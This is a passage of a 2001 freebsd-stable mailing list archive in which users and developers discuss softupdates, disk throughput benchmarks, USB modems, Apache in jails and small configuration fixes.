with ESMTP id OAA04964; Tue, 13 Mar 2001 14:57:52 +1100 (EST) Message-Id: <200103130357.OAA04964@lightning.itga.com.au> X-Mailer: exmh version 2.0.1 12/23/97 From: Gregory Bond To: Arjan.deVet@adv.iae.nl (Arjan de Vet) Cc: stable@FreeBSD.ORG Subject: Re: Why does rc.shutdown not call '/usr/local/etc/rc.d/*.sh stop'? In-reply-to: Your message of Sun, 11 Mar 2001 18:16:28 +0100. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Mar 2001 14:57:52 +1100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > What's the reason that -stable still has that 'XXX not yet' here? I think to give a chance for all the ports to get updated with the new start/ stop handling in their respective rc files. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 21:18:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 8897737B718 for ; Mon, 12 Mar 2001 21:18:43 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2D5Ig005716; Mon, 12 Mar 2001 21:18:42 -0800 (PST) Date: Mon, 12 Mar 2001 21:18:42 -0800 From: Alfred Perlstein To: Gordon Tetlow Cc: "J.Goodleaf" , stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010312211841.D29888@fw.wintelcom.net> References: <20010312232046.D24215C09@clyde.goodleaf.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from gordont@bluemtn.net on Mon, Mar 12, 2001 at 05:50:09PM -0800 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Gordon Tetlow [010312 17:51] wrote: > On Mon, 12 Mar 2001, J.Goodleaf wrote: > > > I don't adequately understand the difference between what you're talking > > about here and what softupdates does. I have used softupdates for some time, > > but now I'm nervous! Can you point me toward the nearest info source, that I > > might RTFM and refrain from bugging you guys? (Given that I already tried > > man softupdates and man tunefs doesn't tell me anything.) > > For the nitty-gritty. Look in the file: > /usr/src/sys/ufs/ffs/README.softupdates > > We should add a pointer to that file in LINT next to the option. > > Here's what I understand of softupdates. I'm sure I'll be corrected if I'm > wrong (at least I hope so). > > In the traditional UFS/FFS implementation, all meta-data > (inodes/directories) updates are synchronous to try to ensure that your > meta-data doesn't get corrupted in the event of a crash. Now, synchronous > kinda sucks because it's slow. > > Of course, you can run in async mode, but you raise the risk of corrupting > meta-data in the event of a crash. Linux does it this way. > > Enter softupdates. What softupdates does is change the sync calls to be > async, so you get the speed benefits of async, while guarenteeing that > your meta-data will be consistent. It does this be ordering the writes for > your meta-data so it will always be in a consistent state. ie initializing > an inode before pointing a directory entry to it, re-writing the directory > entry before you free the inode it's pointing to, etc. It's not just ordering the writes, what it does is hang a dependancy list off the buffers that say something like: you can't write _this_ out, but if you back out this change you can, so softupdates backs out the changes and flushes the buffers. The really cool part about this is that sometimes dependancies cancel each other out, take for instance really short lived tempfiles, softupdates can detect that the write to disk for the block allocation never occurred so it doesn't have to write out the bitmap twice, in fact it never has to write it once. Even a fully async mount can't do that, for the async mount you _may_ avoid two writes (one for allocation, one for freeing) because the free version (which is really just a backed out version of the allocated version) is marked "dirty" and must still be written out. This is a pretty interesting and benifitial side effect of dependancy tracking, being able to avoid no-op operations. :) -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 21:24: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from chmod.ath.cx (CC2-1242.charter-stl.com [24.217.116.226]) by hub.freebsd.org (Postfix) with ESMTP id 447C237B71A for ; Mon, 12 Mar 2001 21:24:06 -0800 (PST) (envelope-from ajh3@chmod.ath.cx) Received: by chmod.ath.cx (Postfix, from userid 1001) id 9C647A82A; Mon, 12 Mar 2001 23:23:39 -0600 (CST) Date: Mon, 12 Mar 2001 23:23:39 -0600 From: Andrew Hesford To: FreeBSD-questions Subject: Device Inodes Message-ID: <20010312232339.A21734@cec.wustl.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Loop: Andrew Hesford Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I want to add extra tty/pty pairs. The manpage says that extra tty/pty pairs can take the form /dev/tty[p-sP-S][0-9a-v] /dev/pty[p-sP-S][0-9a-v] Would non-ptyp* device inodes still use major number 6, and would non-ttyp* device inodes still use major number 5? Also, would I still use the 0-31 minor number? Would this conflict with the existing ttyp* and ptyp* devices? Would I be able to open more than 31 xterms (read: open more than 31 tty/pty pairs at one time). On a related note, I've found an inconsistency in the mknod(8) manpage. It says the major numbers are listed in /usr/src/sys/conf/device., when no such file exists. However, they are listed in /usr/src/sys/conf/majors. Maybe the manpage should be updated? -- Andrew Hesford ajh3@chmod.ath.cx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 21:54:57 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sdmail0.sd.bmarts.com (sdmail0.sd.bmarts.com [209.247.77.155]) by hub.freebsd.org (Postfix) with ESMTP id 0A1EF37B71A for ; Mon, 12 Mar 2001 21:54:54 -0800 (PST) (envelope-from gordont@bluemtn.net) Received: from localhost (gordont@localhost) by sdmail0.sd.bmarts.com (8.11.3/8.11.2/BMA1.1) with ESMTP id f2D5sHa82980; Mon, 12 Mar 2001 21:54:18 -0800 (PST) Date: Mon, 12 Mar 2001 21:54:17 -0800 (PST) From: Gordon Tetlow X-X-Sender: To: Juergen Unger Cc: Subject: Re: apache crashing in a jail In-Reply-To: <20010308160614.A40415@raven.addict.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can you do a backtrace on the core and see where it is dumping core? I've had this happen in the apache code when the server was unable to lookup it's own ip address/server name. Also, how are you installing your jail? Are you using jail(8) or chroot(8)? -gordon On Thu, 8 Mar 2001, Juergen Unger wrote: > I experienced a problems with the 4.3-BETA: > > FreeBSD black 4.3-BETA FreeBSD 4.3-BETA #0: Wed Mar 7 15:06:31 CET 2001 > root@black:/obj/src/sys/GENERIC i386 > > I set up an jail environment an installed the /usr/ports/www/apache13 > port within this jail. /usr/local/sbin/httpd dumps core immediately. > there are no logfile-entries about this. > On the real system (not in the jail) the apache is running as normal. > With another system (4.2-STABLE from 20010123) the Apache is running > without problem within a jail. > Some idea ? > > thnx, > -Juergen- > > -- > .no sig > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22: 2:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sdmail0.sd.bmarts.com (sdmail0.sd.bmarts.com [209.247.77.155]) by hub.freebsd.org (Postfix) with ESMTP id 0A72B37B718 for ; Mon, 12 Mar 2001 22:02:37 -0800 (PST) (envelope-from gordont@bluemtn.net) Received: from localhost (gordont@localhost) by sdmail0.sd.bmarts.com (8.11.3/8.11.2/BMA1.1) with ESMTP id f2D61pG84790; Mon, 12 Mar 2001 22:01:51 -0800 (PST) Date: Mon, 12 Mar 2001 22:01:51 -0800 (PST) From: Gordon Tetlow X-X-Sender: To: "Daniel O'Connor" Cc: , Subject: Re: USB Modems in -stable In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just beware not to get a WinModem, otherwise you bought a rather expensive paperweight for use in FreeBSD. I don't know about the status otherwise. Check around and look in LINT for some hints about USB. -gordon On Tue, 13 Mar 2001, Daniel O'Connor wrote: > Hi, > I am wondering if anyone has tried either a NetCOMM Roadster USB modem, or a > Mitsubishi 56k/v.92 USB modem? > > I'm buying them in Australia if it makes a difference :) > > Also, are USB modems generally 'generic' devices, ie if you tell the USB code their > ID that is all you need? Or does each individual device need tweaking etc? > > --- > Daniel O'Connor software and network engineer > for Genesis Software - http://www.gsoft.com.au > "The nice thing about standards is that there > are so many of them to choose from." > -- Andrew Tanenbaum > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22: 8:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 4A38237B718 for ; Mon, 12 Mar 2001 22:08:40 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id QAA24659; Tue, 13 Mar 2001 16:38:05 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 13 Mar 2001 16:38:05 +1030 (CST) From: "Daniel O'Connor" To: Gordon Tetlow Subject: Re: USB Modems in -stable Cc: usb-bsd@eleetbsd.org, freebsd-stable@FreeBSD.ORG Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 13-Mar-01 Gordon Tetlow wrote: > Just beware not to get a WinModem, otherwise you bought a rather expensive > paperweight for use in FreeBSD. Yeah.. Got any 'known winmodem' names? :) > I don't know about the status otherwise. Check around and look in LINT for > some hints about USB. Thanks. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:23:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sdmail0.sd.bmarts.com (sdmail0.sd.bmarts.com [209.247.77.155]) by hub.freebsd.org (Postfix) with ESMTP id BEE6D37B71B for ; Mon, 12 Mar 2001 22:23:20 -0800 (PST) (envelope-from gordont@bluemtn.net) Received: from localhost (gordont@localhost) by sdmail0.sd.bmarts.com (8.11.3/8.11.2/BMA1.1) with ESMTP id f2D6MoB89257; Mon, 12 Mar 2001 22:22:50 -0800 (PST) Date: Mon, 12 Mar 2001 22:22:50 -0800 (PST) From: Gordon Tetlow X-X-Sender: To: "Daniel O'Connor" Cc: , Subject: Re: USB Modems in -stable In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Daniel O'Connor wrote: > On 13-Mar-01 Gordon Tetlow wrote: > > Just beware not to get a WinModem, otherwise you bought a rather expensive > > paperweight for use in FreeBSD. > > Yeah.. Got any 'known winmodem' names? :) The Mitsubishi is almost certainly a winmodem. The NetComm may not be, but it's hard to tell from the looks of the user manual. -gordon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:27:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 7A01C37B719 for ; Mon, 12 Mar 2001 22:27:23 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.1/8.11.1) with ESMTP id f2D6QaI43064; Mon, 12 Mar 2001 23:26:40 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200103130626.f2D6QaI43064@harmony.village.org> To: "Kevin Oberman" Subject: Re: hardware support question Cc: "Vladimir V. Egorin" , freebsd-stable@FreeBSD.ORG In-reply-to: Your message of "Wed, 07 Mar 2001 10:19:54 PST." <200103071819.f27IJss15060@ptavv.es.net> References: <200103071819.f27IJss15060@ptavv.es.net> Date: Mon, 12 Mar 2001 23:26:36 -0700 From: Warner Losh Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200103071819.f27IJss15060@ptavv.es.net> "Kevin Oberman" writes: : If it's a CardBus card, it will not work in 4.x-Stable. You will have : to use -current. It is widely reported that the Xircom card works : pretty well in current, but I would suggest not trying to run current : unless you have time to hack kernel code and rebuild your system a : LOT. The xircom cardbus card works great in current. So long as you don't have resource issues and current itself is working that day. You will need to get on the current treadmill if you get to current at all. It will take a lot to stay current. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:28:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from peak.mountin.net (peak.mountin.net [207.227.119.2]) by hub.freebsd.org (Postfix) with ESMTP id 7F6E437B719; Mon, 12 Mar 2001 22:28:21 -0800 (PST) (envelope-from jeff-ml@mountin.net) Received: (from daemon@localhost) by peak.mountin.net (8.9.1/8.9.1) id AAA17666; Tue, 13 Mar 2001 00:28:20 -0600 (CST) (envelope-from jeff-ml@mountin.net) Received: from dial-69.max1.wa.cyberlynk.net(207.227.118.69) by peak.mountin.net via smap (V1.3) id sma017636; Tue Mar 13 00:27:45 2001 Message-Id: <4.3.2.20010313002151.02d94c70@207.227.119.2> X-Sender: jeff-ml@207.227.119.2 X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Tue, 13 Mar 2001 00:24:01 -0600 To: Jean-Marc Zucconi , freebsd-stable@FreeBSD.ORG From: "Jeffrey J. Mountin" Subject: Re: UDMA 33/UDMA 100 perfs In-Reply-To: <200103130329.f2D3TXN73556@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 07:29 PM 3/12/01 -0800, Jean-Marc Zucconi wrote: >Is this the normal behavior expected? > >1) >ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable >ad0: 19092MB [38792/16/63] at ata0-master using UDMA33 ># dd if=/dev/ad0e of=/dev/null bs=1m count=1000 >1048576000 bytes transferred in 49.445390 secs (21206750 bytes/sec) > >2) >ad0: 19092MB [38792/16/63] at ata0-master UDMA100 ># dd if=/dev/ad0e of=/dev/null bs=1m count=1000 >1048576000 bytes transferred in 49.337278 secs (21253220 bytes/sec) > >I get the same performance in both cases. This is with a 4.3-BETA >kernel. I have only one drive on the IDE bus. Just because the speed limit goes up doesn't mean your car will go faster. To wit there are few drives that can exceed what UDMA33 can handle and only then would the higher "speed limit" help. Jeff Mountin - jeff@mountin.net Systems/Network Administrator FreeBSD - the power to serve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:35:43 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id 1E21237B71A for ; Mon, 12 Mar 2001 22:35:36 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 26306 invoked by uid 0); 13 Mar 2001 06:35:34 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 13 Mar 2001 06:35:34 -0000 Message-ID: <3AADBFB6.D0595C28@urx.com> Date: Mon, 12 Mar 2001 22:35:34 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Jeffrey J. Mountin" Cc: Jean-Marc Zucconi , freebsd-stable@FreeBSD.ORG Subject: Re: UDMA 33/UDMA 100 perfs References: <4.3.2.20010313002151.02d94c70@207.227.119.2> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jeffrey J. Mountin" wrote: > > At 07:29 PM 3/12/01 -0800, Jean-Marc Zucconi wrote: > >Is this the normal behavior expected? > > > >1) > >ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable > >ad0: 19092MB [38792/16/63] at ata0-master using UDMA33 > ># dd if=/dev/ad0e of=/dev/null bs=1m count=1000 > >1048576000 bytes transferred in 49.445390 secs (21206750 bytes/sec) > > > >2) > >ad0: 19092MB [38792/16/63] at ata0-master UDMA100 > ># dd if=/dev/ad0e of=/dev/null bs=1m count=1000 > >1048576000 bytes transferred in 49.337278 secs (21253220 bytes/sec) > > > >I get the same performance in both cases. This is with a 4.3-BETA > >kernel. I have only one drive on the IDE bus. > > Just because the speed limit goes up doesn't mean your car will go faster. Especially since they only do this for 3ms at a time. This is what I read that the length of the time burst was. The only was I could get buildworld times down was to add 3 of the ATA-100's onto individual controllers and enable soft-updates. Kent > > To wit there are few drives that can exceed what UDMA33 can handle and only > then would the higher "speed limit" help. > > Jeff Mountin - jeff@mountin.net > Systems/Network Administrator > FreeBSD - the power to serve > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:37:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from jfh00.fernuni-hagen.de (jfh00.fernuni-hagen.de [132.176.7.6]) by hub.freebsd.org (Postfix) with ESMTP id DC42D37B718 for ; Mon, 12 Mar 2001 22:37:30 -0800 (PST) (envelope-from fritz.heinrichmeyer@fernuni-hagen.de) Received: from fernuni-hagen.de (localhost [127.0.0.1]) by jfh00.fernuni-hagen.de (8.11.3/8.11.3) with ESMTP id f2D6bSA01462; Tue, 13 Mar 2001 07:37:29 +0100 (CET) (envelope-from fritz.heinrichmeyer@fernuni-hagen.de) Message-ID: <3AADC028.AAFE53E7@fernuni-hagen.de> Date: Tue, 13 Mar 2001 07:37:28 +0100 From: Fritz Heinrichmeyer Organization: FernUni in Hagen X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: de, en, de-DE MIME-Version: 1.0 To: freebsd-stable Subject: /etc/services should have rsync entry Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, i recognized after an update that the rsync port number is not mentioned in /etc/services -- Fritz Heinrichmeyer mailto:fritz.heinrichmeyer@fernuni-hagen.de FernUniversitaet Hagen, LG ES, 58084 Hagen (Germany) tel:+49 2331/987-1166 fax:987-355 http://www-es.fernuni-hagen.de/~jfh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:38: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 955F837B719 for ; Mon, 12 Mar 2001 22:37:55 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id RAA25053; Tue, 13 Mar 2001 17:07:22 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 13 Mar 2001 17:07:22 +1030 (CST) From: "Daniel O'Connor" To: Gordon Tetlow Subject: Re: USB Modems in -stable Cc: freebsd-stable@FreeBSD.ORG, usb-bsd@eleetbsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 13-Mar-01 Gordon Tetlow wrote: > On Tue, 13 Mar 2001, Daniel O'Connor wrote: > > > Just beware not to get a WinModem, otherwise you bought a rather expensive > > > paperweight for use in FreeBSD. > > Yeah.. Got any 'known winmodem' names? :) > The Mitsubishi is almost certainly a winmodem. The NetComm may not be, but Hmm.. Why do you say that? > it's hard to tell from the looks of the user manual. Yes, or worse, a wholesaler pricelist :( --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:39:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.venon.com (ns1.venon.com [64.7.7.83]) by hub.freebsd.org (Postfix) with ESMTP id 44EEF37B728; Mon, 12 Mar 2001 22:39:38 -0800 (PST) (envelope-from all@biosys.net) Received: from megalomaniac.biosys.net (megalomaniac.venon.com [64.7.7.82]) by ns1.venon.com (Postfix) with ESMTP id 5BB15D1613; Tue, 13 Mar 2001 01:37:42 -0500 (EST) Message-Id: <4.3.2.7.2.20010313013018.00c49fd0@64.7.7.83> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 13 Mar 2001 01:39:26 -0500 To: Jean-Marc Zucconi , freebsd-stable@FreeBSD.ORG From: Allen Landsidel Subject: Re: UDMA 33/UDMA 100 perfs In-Reply-To: <4.3.2.20010313002151.02d94c70@207.227.119.2> References: <200103130329.f2D3TXN73556@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 00:24 3/13/2001 -0600, Jeffrey J. Mountin wrote: >At 07:29 PM 3/12/01 -0800, Jean-Marc Zucconi wrote: >>Is this the normal behavior expected? >> >>1) >>ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable >>ad0: 19092MB [38792/16/63] at ata0-master using UDMA33 >># dd if=/dev/ad0e of=/dev/null bs=1m count=1000 >>1048576000 bytes transferred in 49.445390 secs (21206750 bytes/sec) >> >>2) >>ad0: 19092MB [38792/16/63] at ata0-master UDMA100 >># dd if=/dev/ad0e of=/dev/null bs=1m count=1000 >>1048576000 bytes transferred in 49.337278 secs (21253220 bytes/sec) >> >>I get the same performance in both cases. This is with a 4.3-BETA >>kernel. I have only one drive on the IDE bus. > >Just because the speed limit goes up doesn't mean your car will go faster. > >To wit there are few drives that can exceed what UDMA33 can handle and >only then would the higher "speed limit" help. It should be pointed out that people are really expecting something that systems really aren't designed to deliver when they have "problems" like this. The point of a higher bus speed is not to get higher transfer rates from a single drive, but to avoid saturating the bus when you have multiple drives on a single channel of a controller. This is true of both IDE and SCSI. The above mentioned drive is a Western Digital "Protoge", their lowest-end drive family. It may be ATA-100, but it's also 5400RPM. Their site tells us this drive has minimum to-media transfer rate of 24MB/s, and a maximum transfer rate of 40MB/s. What rate you get will dependant upon where your data is located on the disk. The closer to the outside of the disk, the faster your transfer rates will be. It looks to me like Mr. Zucconi is getting exactly the performace he should expect out of that drive. If you want better performance, you have a few options. All of them, unfortunately, involve buying more hardware. 1. Buy a drive with faster to and from media characteristics. Higher drive rpm, and higher data density will contribute to this to a degree. 2. Set up a RAID, either through outlay of some $$ for a hardware controller, or by using vinum. -------signature file------- PGP Key Fingerprint: 446B 7718 B219 9F1E 43DD 8E4A 6BE9 D739 CCC5 7FD7 "I don't think [Linux] will be very successful in the long run." "My experience and some of my friends' experience is that Linux is quite unreliable. Microsoft is really unreliable but Linux is worse." -Ken Thompson, Interview May 1999. http://www.freebsd.org FreeBSD - The Power to Serve http://www.rfnj.org Radio Free New Jersey - 375 streams - 96kbps @ 44.1khz http://namespace.org -- http://name.space Resist the ICANN! Support name.space! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 22:51:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by hub.freebsd.org (Postfix) with ESMTP id 6C59E37B718 for ; Mon, 12 Mar 2001 22:51:30 -0800 (PST) (envelope-from randy@psg.com) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14cieK-0006vI-00; Mon, 12 Mar 2001 22:51:16 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Thomas T. Veldhouse" Cc: FreeBSD Stable Subject: Re: LIST RESENDING EMAIL? (Re: 4.2-R, bridging and ipfilter) Message-Id: Date: Mon, 12 Mar 2001 22:51:16 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I just realized that I have received all these emails and I was beginning to > post again ---- bah! What is going on that is causing these all to be > resent to the list? serious breakage in a mail server at roadrunner in austin and, knowing this, they still have left the damned thing on line making a massive global mess for over a day now. randy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 23:35:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from pop3.ids.net (pop3.ids.net [155.212.1.107]) by hub.freebsd.org (Postfix) with ESMTP id 1EFFD37B718 for ; Mon, 12 Mar 2001 23:35:48 -0800 (PST) (envelope-from CGiordano@ids.net) Received: from ids.net (dialup216f.egr-ri.ids.net [155.212.222.216]) by pop3.ids.net (8.10.1/8.10.1) with ESMTP id f2D7Zj323331 for ; Tue, 13 Mar 2001 02:35:46 -0500 (EST) Message-ID: <3AADCDB4.5C668D80@ids.net> Date: Tue, 13 Mar 2001 02:35:16 -0500 From: "Christopher M. Giordano" Reply-To: CGiordano@ids.net X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.3-BETA i386) X-Accept-Language: en MIME-Version: 1.0 To: stable@FreeBSD.org Subject: Typo in latest sys/boot/forth/loader.conf Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --- loader.conf.orig Tue Mar 13 02:29:12 2001 +++ loader.conf Tue Mar 13 02:30:27 2001 @@ -205,8 +205,8 @@ snd_mss_load="NO" # Mss snd_neomagic_load="NO" # Neomagic snd_sbc_load="NO" # Sbc -snd_sb8_load="NO" # Sound Blaser Pro -snd_sb16_load="NO" # Sound Blaser 16 +snd_sb8_load="NO" # Sound Blaster Pro +snd_sb16_load="NO" # Sound Blaster 16 snd_solo_load="NO" # Solo snd_t4dwave_load="NO" # t4dwave snd_via82c686_load="NO" # via82c686 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 23:40:11 2001 Delivered-To: freebsd-stable@freebsd.org Received: from peak.mountin.net (peak.mountin.net [207.227.119.2]) by hub.freebsd.org (Postfix) with ESMTP id 0687637B718; Mon, 12 Mar 2001 23:40:04 -0800 (PST) (envelope-from jeff-ml@mountin.net) Received: (from daemon@localhost) by peak.mountin.net (8.9.1/8.9.1) id BAA18033; Tue, 13 Mar 2001 01:40:02 -0600 (CST) (envelope-from jeff-ml@mountin.net) Received: from dial-69.max1.wa.cyberlynk.net(207.227.118.69) by peak.mountin.net via smap (V1.3) id sma018027; Tue Mar 13 01:39:41 2001 Message-Id: <4.3.2.20010313012614.01fe6b00@207.227.119.2> X-Sender: jeff-ml@207.227.119.2 X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Tue, 13 Mar 2001 01:36:13 -0600 To: Allen Landsidel , Jean-Marc Zucconi From: "Jeffrey J. Mountin" Subject: Re: UDMA 33/UDMA 100 perfs Cc: stable@FreeBSD.ORG In-Reply-To: <4.3.2.7.2.20010313013018.00c49fd0@64.7.7.83> References: <4.3.2.20010313002151.02d94c70@207.227.119.2> <200103130329.f2D3TXN73556@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:39 AM 3/13/01 -0500, Allen Landsidel wrote: >The point of a higher bus speed is not to get higher transfer rates from a >single drive, but to avoid saturating the bus when you have multiple >drives on a single channel of a controller. This is true of both IDE and SCSI. Here we go again. Check the archives and consider a retraction of this. >The above mentioned drive is a Western Digital "Protoge", their lowest-end >drive family. It may be ATA-100, but it's also 5400RPM. Their site tells >us this drive has minimum to-media transfer rate of 24MB/s, and a maximum >transfer rate of 40MB/s. What rate you get will dependant upon where your >data is located on the disk. The closer to the outside of the disk, the >faster your transfer rates will be. > >It looks to me like Mr. Zucconi is getting exactly the performace he >should expect out of that drive. If you want better performance, you have >a 